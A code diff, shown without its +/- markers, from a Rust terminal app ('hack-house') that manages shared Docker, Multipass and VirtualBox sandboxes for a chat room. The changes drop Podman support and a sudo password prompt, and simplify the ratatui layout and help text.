/// Start the Docker daemon via `ensure-docker.sh --yes`, waiting until it's
/// ready. With `password`, escalation goes through `sudo -S` (read from stdin);
/// without it the script uses `sudo -n` and fails fast if creds aren't cached.
fn start_docker_daemon(password: Option<String>) -> Result<()> {
let (ok, err) = run_ensure(ENSURE_DOCKER, &[], password)?;
if !ok {
/// ready. Returns the script's last error line on failure (e.g. needs sudo).
fn start_docker_daemon() -> Result<()> {
let out = Command::new("bash")
.arg(ENSURE_DOCKER)
.arg("--yes")
.output()
.context("running ensure-docker.sh")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
let last = err
.lines()
.last()
@@ -167,30 +71,22 @@ fn start_docker_daemon(password: Option<String>) -> Result<()> {
/// Install Docker via `ensure-docker.sh --install --yes` (Docker's official,
/// GPG-verified repo), then leave the daemon started. Consent is the caller's
/// job (they passed `install`); the script is idempotent if Docker is present.
/// `password` feeds `sudo -S` as above.
pub fn ensure_docker_install(password: Option<String>) -> Result<()> {
let (ok, err) = run_ensure(ENSURE_DOCKER, &["--install"], password)?;
if !ok {
/// Returns the script's last error line on failure (e.g. needs sudo).
pub fn ensure_docker_install() -> Result<()> {
let out = Command::new("bash")
.arg(ENSURE_DOCKER)
.arg("--install")
.arg("--yes")
.output()
.context("running ensure-docker.sh --install")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
let last = err.lines().last().unwrap_or("could not install Docker");
anyhow::bail!("{last}");
}
Ok(())
}
/// Install Podman via `ensure-podman.sh --yes` (apt + a rootless subuid/subgid
/// preflight). Consent is the caller's job (they passed `install`); the script is
/// idempotent if Podman is already present. Daemonless — nothing to start after.
/// `password` feeds the script's `sudo -S` (apt needs root); without it the
/// script's `sudo -n` fails fast rather than hanging. Returns the last error line.
pub fn ensure_podman_install(password: Option<String>) -> Result<()> {
let (ok, err) = run_ensure(ENSURE_PODMAN, &[], password)?;
if !ok {
let last = err.lines().last().unwrap_or("could not install Podman");
anyhow::bail!("{last}");
}
Ok(())
}
/// Is Multipass installed? (`multipass version` succeeds.)
pub fn multipass_installed() -> bool {
Command::new("multipass")
@@ -206,9 +102,14 @@ pub fn multipass_installed() -> bool {
/// install (the only supported channel). Consent is the caller's job; the
/// script is idempotent if Multipass is already present. Returns the script's
/// last error line on failure (e.g. snapd missing, or needs sudo).
pub fn ensure_multipass_install(password: Option<String>) -> Result<()> {
let (ok, err) = run_ensure(ENSURE_MULTIPASS, &[], password)?;
if !ok {
pub fn ensure_multipass_install() -> Result<()> {
let out = Command::new("bash")
.arg(ENSURE_MULTIPASS)
.arg("--yes")
.output()
.context("running ensure-multipass.sh")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
let last = err.lines().last().unwrap_or("could not install Multipass");
anyhow::bail!("{last}");
}
@@ -243,12 +144,15 @@ pub fn vbox_version() -> Option<String> {
/// Install VirtualBox via `ensure-vbox.sh --yes`. Consent is the caller's job
/// (they passed `--install`); detection is the script's (idempotent if present).
/// `password` feeds the script's `sudo -S` (apt needs root); without it the
/// script's `sudo -n` fails fast rather than hanging on a tty prompt the TUI
/// can't host. Returns the script's last error line on failure.
pub fn ensure_vbox_install(password: Option<String>) -> Result<()> {
let (ok, err) = run_ensure(ENSURE_VBOX, &[], password)?;
if !ok {
/// Returns the script's last error line on failure (e.g. needs sudo).
pub fn ensure_vbox_install() -> Result<()> {
let out = Command::new("bash")
.arg(ENSURE_VBOX)
.arg("--yes")
.output()
.context("running ensure-vbox.sh")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
let last = err.lines().last().unwrap_or("could not install VirtualBox");
anyhow::bail!("{last}");
}
@@ -384,121 +288,6 @@ pub fn vbox_new(name: &str, user: &str) -> Result<String> {
})
}
/// Names of VMs that are currently running (`VBoxManage list runningvms`), so the
/// `/sbx vms` listing can flag which of the registered VMs are live.
pub fn running_vms() -> Vec<String> {
Command::new("VBoxManage")
.args(["list", "runningvms"])
.output()
.map(|o| {
String::from_utf8_lossy(&o.stdout)
.lines()
.filter_map(|l| {
let start = l.find('"')? + 1;
let end = l[start..].find('"')? + start;
Some(l[start..end].to_string())
})
.filter(|s| !s.is_empty())
.collect()
})
.unwrap_or_default()
}
// ---- VM library (curated pointers; built locally on demand) -----------------
//
// The repo ships scripts/vbox-library.json — POINTERS only (download URLs/pages),
// never the multi-GB images. Choosing a VM builds it on the caller's own machine
// via scripts/vbox-library.sh. Here we parse the manifest for listing/info; the
// heavy build is shelled out to the script (which already handles download +
// VBoxManage create/import + boot, with rollback).
/// One curated VM as declared in the manifest. Only the fields we surface in the
/// TUI are deserialized; the rest of the JSON (specs, firmware, etc.) is consumed
/// by the build script.
#[derive(Clone, Debug, serde::Deserialize)]
pub struct LibraryVm {
pub id: String,
pub name: String,
pub os: String,
pub size: String,
#[serde(default)]
pub page: String,
#[serde(default)]
pub notes: String,
/// Filled in by `vbox_library()` (not in the JSON): is a VM of this name
/// already registered in VirtualBox on this machine?
#[serde(skip)]
pub installed: bool,
}
#[derive(serde::Deserialize)]
struct LibraryManifest {
vms: Vec<LibraryVm>,
}
/// Parse the VM library manifest, marking each entry `installed` if a VM of that
/// display name is already registered locally (`list_vms`). The catalog is the
/// same for everyone; `installed` is per-machine, so this works identically for a
/// host or any room member — VirtualBox VMs are always local to the caller.
pub fn vbox_library() -> Result<Vec<LibraryVm>> {
let text = std::fs::read_to_string(VBOX_LIBRARY_JSON)
.with_context(|| format!("reading VM library manifest ({VBOX_LIBRARY_JSON})"))?;
let manifest: LibraryManifest =
serde_json::from_str(&text).context("parsing vbox-library.json")?;
let have = list_vms().unwrap_or_default();
Ok(manifest
.vms
.into_iter()
.map(|mut v| {
v.installed = have.iter().any(|n| n == &v.name);
v
})
.collect())
}
/// Look up a single library entry by its id (with `installed` resolved).
pub fn library_vm(id: &str) -> Option<LibraryVm> {
vbox_library().ok()?.into_iter().find(|v| v.id == id)
}
/// Build a library VM locally by driving scripts/vbox-library.sh `--install`.
/// Blocking and potentially slow (large download); run off the UI thread. No
/// sudo is needed — VBoxManage create/import run as the user. `iso` supplies a
/// locally-downloaded installer for entries with no auto-download (e.g. Windows).
/// Returns the script's final status line(s).
pub fn vbox_library_install(id: &str, iso: Option<String>) -> Result<String> {
let mut cmd = Command::new("bash");
cmd.arg(VBOX_LIBRARY_SH).args(["--install", id, "--yes"]);
if let Some(path) = iso.as_deref() {
cmd.args(["--iso", path]);
}
let out = cmd
.output()
.context("running vbox-library.sh (is bash available?)")?;
let stderr = String::from_utf8_lossy(&out.stderr);
if !out.status.success() {
// The script narrates on stderr and ends with a ✖ reason / pointer.
let reason = stderr
.lines()
.rev()
.find(|l| !l.trim().is_empty())
.unwrap_or("build failed")
.trim();
anyhow::bail!("{reason}");
}
// Surface the final ✓/ⓘ status line.
let last = stderr
.lines()
.rev()
.find(|l| {
let t = l.trim_start();
t.starts_with('✓') || t.starts_with('ⓘ')
})
.unwrap_or("done")
.trim();
Ok(last.to_string())
}
/// A running hypervisor that holds the CPU's VT-x/VMX root mode. While one is
/// live, VirtualBox can't boot a *hardware* VM (it aborts with
/// `VERR_VMX_IN_VMX_ROOT_MODE`). We only mark holders we know how to stop
@@ -637,13 +426,11 @@ pub fn stop_vtx_holder(h: &VtxHolder) -> Result<()> {
}
/// Which sandbox to summon. Multipass = strong isolation (default for real use),
/// Podman = daemonless/rootless containers (no sudo), Docker = fast, Local = no
/// isolation (dev/testing only).
/// Docker = fast, Local = no isolation (dev/testing only).
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Backend {
Local,
Docker,
Podman,
Multipass,
}
@@ -652,7 +439,6 @@ impl Backend {
match s {
"local" => Some(Backend::Local),
"docker" => Some(Backend::Docker),
"podman" => Some(Backend::Podman),
"multipass" => Some(Backend::Multipass),
_ => None,
}
@@ -661,7 +447,6 @@ impl Backend {
match self {
Backend::Local => "local-shell",
Backend::Docker => "docker",
Backend::Podman => "podman",
Backend::Multipass => "multipass",
}
}
@@ -669,55 +454,16 @@ impl Backend {
pub fn default_image(self) -> &'static str {
match self {
Backend::Multipass => "24.04",
// Docker defaults to Parrot OS (Security). Debian/apt-based, so the
// apt-only sandbox-bootstrap.sh path works unchanged. `parrotsec/core`
// is the minimal base (bootstrap fills the toolchain); swap for
// `parrotsec/security` per-launch if you want the full pentest set.
Backend::Docker => "parrotsec/core",
// Podman defaults to Kali (rolling). Still Debian/apt-based, so the
// apt-only sandbox-bootstrap.sh path works unchanged; base is minimal
// (no pentest metapackages pulled by default — keep first launch fast).
Backend::Podman => "kalilinux/kali-rolling",
Backend::Docker => "ubuntu:24.04",
Backend::Local => "",
}
}
/// The exec family a co-located agent uses to run a command *inside* this
/// sandbox — `docker`/`podman exec`, `multipass exec`, or host `local`.
/// Advertised in the `_sbx:status` frame (distinct from `label`, whose Local
/// value is the cosmetic "local-shell") so the bridge can build the right
/// `<engine> exec` invocation for the backend that holds the sandbox.
pub fn engine(self) -> &'static str {
match self {
Backend::Local => "local",
Backend::Docker => "docker",
Backend::Podman => "podman",
Backend::Multipass => "multipass",
}
}
}
/// The container-engine binary for an OCI backend. Docker and Podman share the
/// same CLI grammar (`run/exec/commit/save/rm/images`), so the container code
/// path is written once and parameterised by this. Non-container backends have
/// no engine binary; calling this on them is a logic error (they never reach the
/// container arms), so we default to "docker" rather than panic.
fn engine_bin(backend: Backend) -> &'static str {
match backend {
Backend::Podman => "podman",
_ => "docker",
}
}
/// One-time setup before the PTY shell is spawned. Blocking — run off the UI
/// thread (Multipass boots a real VM, ~20-30s). Idempotent: reuses an instance
/// that already exists.
pub fn prepare(
backend: Backend,
name: &str,
image: &str,
start_daemon: bool,
password: Option<String>,
) -> Result<()> {
pub fn prepare(backend: Backend, name: &str, image: &str, start_daemon: bool) -> Result<()> {
match backend {
Backend::Local => Ok(()),
Backend::Multipass => {
@@ -752,15 +498,13 @@ pub fn prepare(
}
Ok(())
}
Backend::Docker | Backend::Podman => {
let engine = engine_bin(backend);
// Docker needs a running daemon before any call; rather than fail with
// a raw connection error, start it (the caller confirmed via
// `/sbx launch docker --start`). Podman is daemonless — skip the check
// and the sudo modal entirely; a rootless container launches as-is.
if backend == Backend::Docker && !docker_daemon_up() {
Backend::Docker => {
// The daemon must be up before any `docker` call. Rather than fail
// with a raw connection error, start it (the caller confirmed via
// `/sbx launch docker --start`).
if !docker_daemon_up() {
if start_daemon {
start_docker_daemon(password).context("starting docker daemon")?;
start_docker_daemon().context("starting docker daemon")?;
} else {
anyhow::bail!(
"docker daemon is not running — retry with `/sbx launch docker --start`"
@@ -768,27 +512,35 @@ pub fn prepare(
}
}
// Persistent container so we can exec in to provision users + shells.
let _ = Command::new(engine)
let _ = Command::new("docker")
.args(["rm", "-f", name])
.stdout(Stdio::null())
.stderr(Stdio::null())
.status();
// Capture output so a failure can't paint over the TUI; the reason is
// surfaced through the returned error (shown in the error popup).
let mut run = Command::new(engine);
run.args(["run", "-d", "--name", name, "--hostname", name, "-w", "/root"]);
// The native harness runs the model host-side and only execs commands
// into the container, so the sandbox no longer needs to reach host
// Ollama. The old in-container Ollama gateway (Docker host-gateway /
// Podman slirp4netns host-loopback) is therefore gone — and with it the
// rootless-Podman loopback bug it used to work around.
run.args([image, "sleep", "infinity"]);
let out = run
let out = Command::new("docker")
.args([
"run",
"-d",
"--name",
name,
"--hostname",
name,
"-w",
"/root",
image,
"sleep",
"infinity",
])
.output()
.with_context(|| format!("{engine} run (is {engine} installed?)"))?;
.context("docker run (is docker installed?)")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
anyhow::bail!("{engine} run failed: {}", err.lines().last().unwrap_or("").trim());
anyhow::bail!(
"docker run failed: {}",
err.lines().last().unwrap_or("").trim()
);
}
Ok(())
}
@@ -819,8 +571,8 @@ pub fn teardown(backend: Backend, name: &str) {
.stderr(Stdio::null())
.status();
}
Backend::Docker | Backend::Podman => {
let _ = Command::new(engine_bin(backend))
Backend::Docker => {
let _ = Command::new("docker")
.args(["rm", "-f", name])
.stdout(Stdio::null())
.stderr(Stdio::null())
@@ -868,24 +620,26 @@ fn snap_dir() -> Result<std::path::PathBuf> {
/// Returns a short human description of what was written on success.
pub fn save_state(backend: Backend, name: &str, label: &str, local: bool) -> Result<String> {
match backend {
Backend::Docker | Backend::Podman => {
let engine = engine_bin(backend);
Backend::Docker => {
let tag = format!("{SNAP_REPO}:{label}");
let out = Command::new(engine)
let out = Command::new("docker")
.args(["commit", name, &tag])
.output()
.with_context(|| format!("{engine} commit (is {engine} installed?)"))?;
.context("docker commit (is docker installed?)")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
anyhow::bail!("{engine} commit failed: {}", err.lines().last().unwrap_or("").trim());
anyhow::bail!(
"docker commit failed: {}",
err.lines().last().unwrap_or("").trim()
);
}
if local {
let path = snap_dir()?.join(format!("hh-snap-{label}.tar"));
let out = Command::new(engine)
let out = Command::new("docker")
.args(["save", &tag, "-o"])
.arg(&path)
.output()
.with_context(|| format!("{engine} save"))?;
.context("docker save")?;
if !out.status.success() {
let err = String::from_utf8_lossy(&out.stderr);
anyhow::bail!(
@@ -1062,12 +816,11 @@ pub fn vm_snapshots(vm: &str) -> Result<Vec<String>> {
/// `hh-snap`, or multipass snapshots of the instance). Blocking.
pub fn list_snapshots(backend: Backend, name: &str) -> Result<Vec<String>> {
match backend {
Backend::Docker | Backend::Podman => {
let engine = engine_bin(backend);
let out = Command::new(engine)
Backend::Docker => {
let out = Command::new("docker")
.args(["images", SNAP_REPO, "--format", "{{.Tag}}"])
.output()
.with_context(|| format!("{engine} images"))?;
.context("docker images")?;
Ok(String::from_utf8_lossy(&out.stdout)
.lines()
.map(str::trim)
@@ -1102,16 +855,15 @@ pub fn list_snapshots(backend: Backend, name: &str) -> Result<Vec<String>> {
#[derive(Clone, Copy, PartialEq, Eq)]
pub enum SnapKind {
Docker,
Podman,
Multipass,
None,
}
/// Resolve a snapshot label to the backend that holds it. Probes multipass first
/// (its snapshots are instance-scoped and rarer), then the OCI engines' `hh-snap`
/// repo (docker, then podman). Blocking — run off the UI thread. A backend whose
/// CLI is absent simply reports no match rather than erroring, so a missing
/// multipass doesn't block a docker load and vice-versa.
/// (its snapshots are instance-scoped and rarer), then docker's `hh-snap` repo.
/// Blocking — run off the UI thread. A backend whose CLI is absent simply
/// reports no match rather than erroring, so a missing multipass doesn't block a
/// docker load and vice-versa.
pub fn locate_snapshot(name: &str, label: &str) -> SnapKind {
if list_snapshots(Backend::Multipass, name)
.map(|s| s.iter().any(|l| l == label))
@@ -1125,13 +877,6 @@ pub fn locate_snapshot(name: &str, label: &str) -> SnapKind {
{
return SnapKind::Docker;
}
if podman_installed()
&& list_snapshots(Backend::Podman, name)
.map(|s| s.iter().any(|l| l == label))
.unwrap_or(false)
{
return SnapKind::Podman;
}
SnapKind::None
}
@@ -1144,13 +889,13 @@ fn command_for(backend: Backend, name: &str, run_user: &str) -> CommandBuilder {
c.arg("-i");
c
}
Backend::Docker | Backend::Podman => {
Backend::Docker => {
let user = if run_user.is_empty() {
"root"
} else {
run_user
};
let mut c = CommandBuilder::new(engine_bin(backend));
let mut c = CommandBuilder::new("docker");
c.args(["exec", "-it", "-u", user, name, "bash", "-il"]);
c
}
@@ -1188,10 +933,10 @@ fn mp(name: &str, args: &[&str]) {
.stderr(Stdio::null())
.status();
}
fn dk(engine: &str, name: &str, args: &[&str]) {
fn dk(name: &str, args: &[&str]) {
let mut a = vec!["exec", name];
a.extend_from_slice(args);
let _ = Command::new(engine)
let _ = Command::new("docker")
.args(a)
.stdout(Stdio::null())
.stderr(Stdio::null())
@@ -1231,17 +976,15 @@ fn sandbox_pkgs() -> String {
/// Run the sandbox bootstrap inside the container, piping the script to `bash -s`
/// on stdin (keeps it out of argv) with the resolved package list in the env.
/// Blocking — provision() is already off the UI thread.
fn dk_bootstrap(engine: &str, name: &str) {
fn dk_bootstrap(name: &str) {
let script = std::fs::read_to_string(SBX_BOOTSTRAP).unwrap_or_else(|_| {
// Degraded fallback if the script file is missing: still refresh the
// index and install whatever the env carries (at minimum vim+curl).
"apt-get update -qq && apt-get install -y --no-install-recommends $HH_SBX_PKGS".into()
});
let pkgs_env = format!("HH_SBX_PKGS={}", sandbox_pkgs());
let child = Command::new(engine)
.args([
"exec", "-i", "-e", &pkgs_env, name, "bash", "-s",
])
let env = format!("HH_SBX_PKGS={}", sandbox_pkgs());
let child = Command::new("docker")
.args(["exec", "-i", "-e", &env, name, "bash", "-s"])
.stdin(Stdio::piped())
.stdout(Stdio::null())
.stderr(Stdio::null())
@@ -1300,18 +1043,17 @@ pub fn provision(backend: Backend, name: &str, owner: &str, members: &[String])
mp_bootstrap(name); // same baseline dev toolchain as the docker sandbox
run
}
Backend::Docker | Backend::Podman => {
let engine = engine_bin(backend);
Backend::Docker => {
// Install the baseline dev toolchain (editable list in
// scripts/sandbox-tools.json; vim+curl guaranteed) so a fresh
// sandbox comes up usable instead of bare. The script also refreshes
// the apt index (base images ship without /var/lib/apt/lists) and is
// idempotent + sentinel-guarded, so re-provisions stay fast.
dk_bootstrap(engine, name);
dk_bootstrap(name);
for m in members {
let u = unix_name(m);
if !u.is_empty() {
dk(engine, name, &["useradd", "-m", "-s", "/bin/bash", &u]);
dk(name, &["useradd", "-m", "-s", "/bin/bash", &u]);
}
}
// Base images usually lack the sudo package; the shared shell runs as
@@ -1343,7 +1085,7 @@ pub fn set_sudo(backend: Backend, name: &str, user: &str, enable: bool) {
pub fn run_user_for(backend: Backend, owner: &str) -> String {
match backend {
Backend::Multipass => unix_name(owner),
Backend::Docker | Backend::Podman => "root".to_string(),
Backend::Docker => "root".to_string(),
Backend::Local => String::new(),
}
}
@@ -1366,9 +1108,9 @@ pub fn push(
"local sandbox shares the host filesystem — {} is already reachable",
local.display()
),
Backend::Docker | Backend::Podman => {
Backend::Docker => {
// Shell runs as root with $HOME=/root (see `prepare`'s `-w /root`).
let mut c = Command::new(engine_bin(backend));
let mut c = Command::new("docker");
c.args(["exec", "-i", name, "tar", "-C", "/root", "-xf", "-"]);
extract_tar(c, &tar)?;
Ok(format!("/root/{base}"))
hh/src/theme.rs
+2 -2
View File
@@ -29,7 +29,7 @@ pub struct Theme {
/// Width of the roster column.
pub roster_width: u16,
/// Glyph flanking the "hack-house" title (and used for occult accents).
/// Each theme picks its own sigil (crypt: ✝, church: †, …).
/// Each theme picks its own sigil (crypt: ✝, church: ⛧, …).
pub sigil: String,
}
@@ -179,7 +179,7 @@ fn slugify(name: &str) -> String {
}
/// Occult glyphs the randomizer can stamp as the title sigil.
const SIGILS: [&str; 12] = ["✝", "☧", "☥", "†", "‡", "✟", "♰", "☩", "⸸", "⯐", "✠", "☦"];
const SIGILS: [&str; 12] = ["✝", "⛧", "☥", "†", "‡", "✟", "♰", "☩", "⸸", "⯐", "✠", "☦"];
/// Arcane name fragments — `<adj>-<noun>` makes a memorable vestment name.
const NAME_ADJ: [&str; 16] = [
hh/src/ui.rs
+98 -242
View File
@@ -1,6 +1,7 @@
//! ratatui rendering — top bar, chat, roster, input.
use crate::app::{App, ChatLine, Role};
use crate::layout::Zoom;
use crate::theme::Theme;
use ratatui::layout::{Constraint, Layout, Position, Rect};
use ratatui::style::{Color, Modifier, Style};
@@ -20,7 +21,7 @@ pub fn draw(f: &mut Frame, app: &App, theme: &Theme) {
let rows = Layout::vertical([
Constraint::Length(1),
Constraint::Min(1),
Constraint::Length(app.layout.input_height()),
Constraint::Length(3),
])
.split(f.area());
@@ -50,9 +51,6 @@ pub fn draw(f: &mut Frame, app: &App, theme: &Theme) {
if let Some(msg) = &app.error {
draw_error(f, f.area(), theme, msg);
}
if let Some(len) = app.sudo_prompt_len() {
draw_sudo_prompt(f, f.area(), theme, len);
}
}
/// The body's pane rectangles. Any field is `None` when that pane is hidden
@@ -67,25 +65,40 @@ struct BodyAreas {
/// honouring the sandbox presence, `Zoom`, and roster width. This is the single
/// source of truth used by both `draw` (painting) and `pane_at` (hit-testing).
fn body_areas(body: Rect, app: &App) -> BodyAreas {
use crate::app::Pane;
let mut out = BodyAreas {
chat: None,
roster: None,
sbx: None,
};
// The layout tree is the single source of truth: it honours zoom, sandbox
// presence and roster width, returning one rect per visible pane.
for (pane, rect) in app.layout.regions(body, app.sandbox.is_some()) {
match pane {
Pane::Chat => out.chat = Some(rect),
Pane::Roster => out.roster = Some(rect),
Pane::Terminal => out.sbx = Some(rect),
// The input bar isn't a body region (it's the frame's bottom row);
// `regions` never yields it, so this arm is just for exhaustiveness.
Pane::Input => {}
// Vertical split: chat-column vs sandbox terminal.
let (chat_col, sbx) = if app.sandbox.is_some() {
match app.layout.zoom {
Zoom::Term => (None, Some(body)), // terminal fullscreen
Zoom::Chat => (Some(body), None), // chat fullscreen (terminal hidden)
Zoom::Normal => {
let pty = app.layout.pty_pct;
let split = Layout::vertical([
Constraint::Percentage(100 - pty),
Constraint::Percentage(pty),
])
.split(body);
(Some(split[0]), Some(split[1]))
}
}
}
out
} else {
(Some(body), None) // no sandbox → chat owns the whole body
};
// Horizontal split of the chat column into chat vs roster.
let (chat, roster) = match chat_col {
Some(col) if app.layout.roster_width != 0 => {
let lr = Layout::horizontal([
Constraint::Min(1),
Constraint::Length(app.layout.roster_width),
])
.split(col);
(Some(lr[0]), Some(lr[1]))
}
Some(col) => (Some(col), None), // roster hidden
None => (None, None),
};
BodyAreas { chat, roster, sbx }
}
/// Hit-test a screen cell against the laid-out panes, for click-to-select in
@@ -99,19 +112,16 @@ pub fn pane_at(w: u16, h: u16, app: &App, col: u16, row: u16) -> Option<crate::a
width: w,
height: h,
};
// Mirror draw()'s top-bar / body / input split; the body panes and the input
// bar are selectable (the input bar grows its height when focused).
// Mirror draw()'s top-bar / body / input split; only the body is selectable.
let rows = Layout::vertical([
Constraint::Length(1),
Constraint::Min(1),
Constraint::Length(app.layout.input_height()),
Constraint::Length(3),
])
.split(area);
let areas = body_areas(rows[1], app);
let p = Position { x: col, y: row };
if rows[2].contains(p) {
Some(Pane::Input)
} else if areas.sbx.is_some_and(|r| r.contains(p)) {
if areas.sbx.is_some_and(|r| r.contains(p)) {
Some(Pane::Terminal)
} else if areas.roster.is_some_and(|r| r.contains(p)) {
Some(Pane::Roster)
@@ -175,43 +185,6 @@ fn draw_error(f: &mut Frame, area: Rect, theme: &Theme, msg: &str) {
f.render_widget(popup, rect);
}
/// Masked sudo-password modal (Option C). Renders one bullet per typed char —
/// never the password itself — anchored just above the input box. The buffer it
/// reflects lives in `app.sudo_prompt` and is never sent to chat or the PTY.
fn draw_sudo_prompt(f: &mut Frame, area: Rect, theme: &Theme, len: usize) {
let dots: String = "•".repeat(len);
let body = format!("password: {dots}");
let w = area.width.saturating_sub(4).clamp(28, 56);
let h = 3; // one input line + its borders
let x = area.x + (area.width.saturating_sub(w)) / 2;
// Hover just above the input row (bottom of the screen) so it reads as a prompt.
let y = area.y + area.height.saturating_sub(h + 2);
let rect = Rect {
x,
y,
width: w,
height: h,
};
f.render_widget(Clear, rect);
let popup = Paragraph::new(body)
.style(Style::default().fg(theme.title).bg(theme.bg))
.block(
Block::bordered()
.border_style(
Style::default()
.fg(theme.accent)
.add_modifier(Modifier::BOLD),
)
.title(Span::styled(
" 🔒 sudo · Enter launch · Esc cancel ",
Style::default()
.fg(theme.accent)
.add_modifier(Modifier::BOLD),
)),
);
f.render_widget(popup, rect);
}
fn centered(percent_x: u16, percent_y: u16, area: Rect) -> Rect {
let vy = (100u16.saturating_sub(percent_y)) / 2;
let vx = (100u16.saturating_sub(percent_x)) / 2;
@@ -272,36 +245,28 @@ fn help_clusters(theme: &Theme) -> Vec<HelpCluster> {
HelpCluster {
title: "VIRTUAL MACHINES",
items: vec![
// ── launch: /sbx <type> <option> (one backend token per line) ──
// ── launch (one verb per backend) ──
kv(
"/sbx docker [image] [install]",
"Linux container — shared shell relayed to the room (default parrotsec/core + auto dev toolchain; append install if Docker is missing)",
"/sbx launch docker [image] [install]",
"Linux container — shared shell relayed to the room (default ubuntu:24.04 + auto dev toolchain; append install if Docker is missing)",
),
kv(
"/sbx podman [image] [install]",
"rootless/daemonless container — no sudo modal (default kalilinux/kali-rolling; append install if Podman is missing)",
),
kv(
"/sbx multipass [image] [install]",
"/sbx launch multipass [image] [install]",
"full Ubuntu VM — shared shell relayed to the room (same dev toolchain; append install if Multipass is missing)",
),
kv(
"/sbx vbox",
"/sbx launch vbox",
"VirtualBox VM picker — local GUI (↑↓ move · Enter/Tab boot · Esc dismiss)",
),
kv(
"/sbx vbox new [name]",
"/sbx launch vbox new [name]",
"build a FRESH Ubuntu VM from a cloud image (cloud-init installs the dev toolchain)",
),
kv(
"/sbx vmlib [<id> [install]]",
"VM library — catalog of installable VMs (Win11, macOS, Kali…); <id> install builds it LOCALLY on your machine (pointers only, no images bundled)",
),
kv(
"/sbx vbox [gui] <vm> [yes]",
"/sbx launch vbox [gui] <vm> [yes]",
"boot a VirtualBox VM's GUI on YOUR machine (non-host appends yes to install/import first)",
),
kv("/sbx local", "a plain shell on your own machine — no VM"),
kv("/sbx launch local", "a plain shell on your own machine — no VM"),
kv("/sbx stop", "tear down the running sandbox (purges the VM/container)"),
// ── save (docker/multipass share a verb; vbox has its own) ──
kv(
@@ -326,7 +291,7 @@ fn help_clusters(theme: &Theme) -> Vec<HelpCluster> {
"/sbx vms · /sbx vmsnaps <vm>",
"list local VirtualBox VMs · a VM's snapshots",
),
kv("/sbx gui <vm> [yes]", "alias of /sbx vbox gui <vm> [yes]"),
kv("/sbx gui <vm> [yes]", "alias of /sbx launch vbox gui <vm> [yes]"),
kv("/drive · F2", "type into the shared shell (F2 releases; Esc reaches vim)"),
],
},
@@ -364,7 +329,6 @@ fn help_clusters(theme: &Theme) -> Vec<HelpCluster> {
"/grant <user|agent>",
"let a member OR an AI agent drive the shell",
),
kv("/grant ai", "grant drive to every AI agent at once"),
kv("/revoke <user|agent>", "take back sandbox drive permission"),
kv("/sudo <user>", "delegate VM superuser (real sudo)"),
kv("/unsudo <user>", "revoke VM superuser"),
@@ -396,41 +360,19 @@ fn help_clusters(theme: &Theme) -> Vec<HelpCluster> {
),
],
},
HelpCluster {
title: "MUSIC (session soundtrack)",
items: vec![
kv(
"/music · /music list",
"list albums (bundled 'crypt'/'terminal' + your imports) and what's playing",
),
kv("/music play <album>", "start an album — tracks auto-advance and loop"),
kv(
"/music play · random",
"blank or 'random' shuffles to a random album",
),
kv("/music stop · next", "stop playback · skip to the next track"),
kv(
"/music import <path>",
"add a file/folder of your own audio as a new album (… as <name>)",
),
],
},
HelpCluster {
title: "LAYOUT (resize panes)",
items: vec![
kv("F4", "fullscreen the terminal (cycle: terminal → chat → split)"),
kv(
"click a pane · F5",
"select a pane to resize (✎ marks it) — F5 cycles chat → terminal → roster → input",
"select a pane to resize (✎ marks it) — F5 cycles terminal → chat → roster",
),
kv(
"↑ / ↓",
"grow / shrink height — chat ↔ terminal with a sandbox; else chat/clergy borrow from the message bar",
),
kv(
"← / →",
"grow / shrink the selected pane's width (left column ↔ roster)",
"↑ / ↓ (terminal/chat selected)",
"grow / shrink that pane's height share",
),
kv("← / → (roster selected)", "narrow / widen the roster column"),
kv("Esc / Enter", "finish editing the selected pane"),
kv("/layout reset", "restore the default split"),
kv(
@@ -674,7 +616,7 @@ fn draw_top(f: &mut Frame, area: ratatui::layout::Rect, app: &App, theme: &Theme
} else {
"✖ closed · Ctrl-R to reconnect"
};
let mut spans = vec![
let bar = Line::from(vec![
Span::styled(
format!(" {0} hack-house {0} ", theme.sigil),
Style::default()
@@ -686,53 +628,22 @@ fn draw_top(f: &mut Frame, area: ratatui::layout::Rect, app: &App, theme: &Theme
format!("· house {}/{} ", app.users.len(), cap),
Style::default().fg(theme.title),
),
];
// Now-playing indicator — shown only while background music is running.
if let Some(np) = &app.now_playing {
spans.push(Span::styled(
format!("· ♪ {np} "),
Style::default().fg(theme.accent),
));
}
f.render_widget(Paragraph::new(Line::from(spans)), area);
]);
f.render_widget(Paragraph::new(bar), area);
}
/// Render one chat record into one-or-more visual lines. A record may carry
/// embedded newlines (e.g. an AI agent's multi-line answer or injected plan);
/// ratatui treats a `Line` as a single visual row, so we split on `\n` ourselves
/// and indent the continuations to align under the first line's text.
fn fmt_line<'a>(l: &'a ChatLine, app: &App, theme: &Theme) -> Vec<Line<'a>> {
// "Action" lines — client system notices and AI agent output (which marks
// itself with a leading †) — read better as dim, italic, sigil-marked blocks
// than as ordinary chatter, so the eye can skip them or zero in on them.
let is_action = l.system || l.text.starts_with('†');
if is_action {
// Swap the canonical † placeholder for the active theme's sigil so each
// vestment renders its own glyph (e.g. crypt shows ✝).
let body = l
.text
.strip_prefix('†')
.unwrap_or(&l.text)
.trim_start()
.replace('†', &theme.sigil);
let style = Style::default()
.fg(theme.system)
.add_modifier(Modifier::ITALIC);
// Attribute an agent's action to it (system notices stay anonymous).
let head = if l.system || l.username.is_empty() {
format!(" {} ", theme.sigil)
} else {
format!(" {} {}: ", theme.sigil, l.username)
};
let indent = " ".repeat(head.chars().count());
return body
.split('\n')
.enumerate()
.map(|(i, seg)| {
let prefix = if i == 0 { head.clone() } else { indent.clone() };
Line::from(Span::styled(format!("{prefix}{seg}"), style))
})
.collect();
fn fmt_line<'a>(l: &'a ChatLine, app: &App, theme: &Theme) -> Line<'a> {
if l.system {
// System lines carry the canonical ⛧ as a placeholder for "the house
// sigil"; swap it for the active theme's sigil so e.g. crypt shows ✝,
// never a pentagram. User messages (l.system == false) are left as typed.
let text = l.text.replace('⛧', &theme.sigil);
return Line::from(Span::styled(
format!(" {} {}", theme.sigil, text),
Style::default()
.fg(theme.system)
.add_modifier(Modifier::ITALIC),
));
}
let name_color = if l.username == app.me {
